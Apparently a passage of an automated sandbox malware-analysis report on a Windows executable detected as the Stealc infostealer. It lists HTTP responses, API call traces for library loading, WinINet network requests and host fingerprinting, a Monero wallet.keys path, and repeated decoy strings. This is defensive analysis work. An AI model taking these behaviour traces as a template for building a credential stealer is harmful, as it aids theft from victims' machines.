Sep 27, 2024 16:17:12.173007011 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:17:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Sep 27, 2024 16:17:12.174293041 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:17:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Sep 27, 2024 16:17:12.174649954 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:17:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	10:17:05
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xec0000
File size:	1'875'456 bytes
MD5 hash:	AD0C6BD7353136531AF5325034613533
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2105603461.0000000005650000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00ED9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01B80750), ref: 00ED98A1
GetProcAddress.KERNEL32(75900000,01B807B0), ref: 00ED98BA
GetProcAddress.KERNEL32(75900000,01B806F0), ref: 00ED98D2
GetProcAddress.KERNEL32(75900000,01B80780), ref: 00ED98EA
GetProcAddress.KERNEL32(75900000,01B80570), ref: 00ED9903
GetProcAddress.KERNEL32(75900000,01B88B00), ref: 00ED991B
GetProcAddress.KERNEL32(75900000,01B76440), ref: 00ED9933
GetProcAddress.KERNEL32(75900000,01B76300), ref: 00ED994C
GetProcAddress.KERNEL32(75900000,01B80768), ref: 00ED9964
GetProcAddress.KERNEL32(75900000,01B80708), ref: 00ED997C
GetProcAddress.KERNEL32(75900000,01B80798), ref: 00ED9995
GetProcAddress.KERNEL32(75900000,01B805B8), ref: 00ED99AD
GetProcAddress.KERNEL32(75900000,01B76320), ref: 00ED99C5
GetProcAddress.KERNEL32(75900000,01B807C8), ref: 00ED99DE
GetProcAddress.KERNEL32(75900000,01B807E0), ref: 00ED99F6
GetProcAddress.KERNEL32(75900000,01B764A0), ref: 00ED9A0E
GetProcAddress.KERNEL32(75900000,01B80810), ref: 00ED9A27
GetProcAddress.KERNEL32(75900000,01B80858), ref: 00ED9A3F
GetProcAddress.KERNEL32(75900000,01B764C0), ref: 00ED9A57
GetProcAddress.KERNEL32(75900000,01B808B8), ref: 00ED9A70
GetProcAddress.KERNEL32(75900000,01B765A0), ref: 00ED9A88
LoadLibraryA.KERNEL32(01B80888,?,00ED6A00), ref: 00ED9A9A
LoadLibraryA.KERNEL32(01B80870,?,00ED6A00), ref: 00ED9AAB
LoadLibraryA.KERNEL32(01B80918,?,00ED6A00), ref: 00ED9ABD
LoadLibraryA.KERNEL32(01B80900,?,00ED6A00), ref: 00ED9ACF
LoadLibraryA.KERNEL32(01B808A0,?,00ED6A00), ref: 00ED9AE0
GetProcAddress.KERNEL32(75070000,01B808D0), ref: 00ED9B02
GetProcAddress.KERNEL32(75FD0000,01B808E8), ref: 00ED9B23
GetProcAddress.KERNEL32(75FD0000,01B88EF8), ref: 00ED9B3B
GetProcAddress.KERNEL32(75A50000,01B88F28), ref: 00ED9B5D
GetProcAddress.KERNEL32(74E50000,01B76520), ref: 00ED9B7E
GetProcAddress.KERNEL32(76E80000,01B88A90), ref: 00ED9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00ED9BB6

Strings

NtQueryInformationProcess, xrefs: 00ED9BAA

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: e9aea032318d51e8a9bb9ce7a65c72c00bdcbf122234073f5274044162eaf47a
Instruction ID: 368aaca265a629e11adce1e31b7d42841a0857fdb81c88242388e58c555208db
Opcode Fuzzy Hash: e9aea032318d51e8a9bb9ce7a65c72c00bdcbf122234073f5274044162eaf47a
Instruction Fuzzy Hash: CAA11BB5D107409FD36EEFA8F99895637F9FF8C302704853AA6268324CD6BA95C1CB50

Function 00EC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00EC460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00EC479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4765

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: cb3507a3fa0f733fa5a42f9e82560bdf6b70c6ecf9f5c4e1f4a8682e3db1d7d4
Instruction ID: fc58132988c41ad114389dbdf67f02ed96ce885820b1c227ad43c3951c9ac1e6
Opcode Fuzzy Hash: cb3507a3fa0f733fa5a42f9e82560bdf6b70c6ecf9f5c4e1f4a8682e3db1d7d4
Instruction Fuzzy Hash: 994137A17C278C6BC634F7B59D4EF9D73925F4A746F907148EA6072280CBF05D005DA5

Function 00EC4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EC4915
StrCmpCA.SHLWAPI(?,01B8E220), ref: 00EC493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00EE0DDB,00000000,?,?,00000000,?,",00000000,?,01B8E320), ref: 00EC4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EC4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EC4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EC4E49
InternetCloseHandle.WININET(00000000), ref: 00EC4EAD
InternetCloseHandle.WININET(00000000), ref: 00EC4EC5
HttpOpenRequestA.WININET(00000000,01B8E250,?,01B8DA10,00000000,00000000,00400100,00000000), ref: 00EC4B15

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

InternetCloseHandle.WININET(00000000), ref: 00EC4ECF

Strings

------, xrefs: 00EC4C69
------, xrefs: 00EC4B28
------, xrefs: 00EC49BD
", xrefs: 00EC4BF2
", xrefs: 00EC4D33

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d3548b6d7d4c05248285ac7acfc326e1dea540c59534cf51d303a7471c584897
Instruction ID: 55fe9427c86c2c6351008521cb85ec8ce604c782ea5fb1cd910065eaa635e14b
Opcode Fuzzy Hash: d3548b6d7d4c05248285ac7acfc326e1dea540c59534cf51d303a7471c584897
Instruction Fuzzy Hash: BC127F769102189ACB19EB50DCA6FEEB3B8EF54300F5451AAB50673191EF702F4ACF61

Function 00ED78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: cec86f536b6407665ff9fe16f4f18dd1349745eca0c461ed53bd6a7bbb2285b5
Instruction ID: 90ce5dbb4e347e22fbbce409cccb523a4b0dacd0bd84d3ae19e3fa7c594dc057
Opcode Fuzzy Hash: cec86f536b6407665ff9fe16f4f18dd1349745eca0c461ed53bd6a7bbb2285b5
Instruction Fuzzy Hash: 080162B1948308EBC714DF95D945BAEBBB8FB44B15F10422BE595B3380D3B459418BA1

Function 00ED7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: eeb95187e79aea61964998480e5236d7e515f09e1c1781d323ad974b9f725717
Instruction ID: 22b15e7c101ac4eddacb07a701a78887ea9292e7df6f41d3815130b68c0861f3
Opcode Fuzzy Hash: eeb95187e79aea61964998480e5236d7e515f09e1c1781d323ad974b9f725717
Instruction Fuzzy Hash: 45F04FB1D44308ABC714DF98D949BAEBBB8EB04711F10026AFA15A3780C7B515448BA1

Function 00EC1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00EC116A
ExitProcess.KERNEL32 ref: 00EC117E

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 581ed7e731e0f4a80c0811f99420532c18ef3d60e923205d75925ba8f2d5adc1
Instruction ID: 44f5244c61b6cd173d73f545067b27bd06cb9276fe300437a29988a323922afa
Opcode Fuzzy Hash: 581ed7e731e0f4a80c0811f99420532c18ef3d60e923205d75925ba8f2d5adc1
Instruction Fuzzy Hash: CED01774D003089BCB149AA0A949A9DBB78FB08311F0015A8D90662240EA7254828BA5

Function 00ED9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

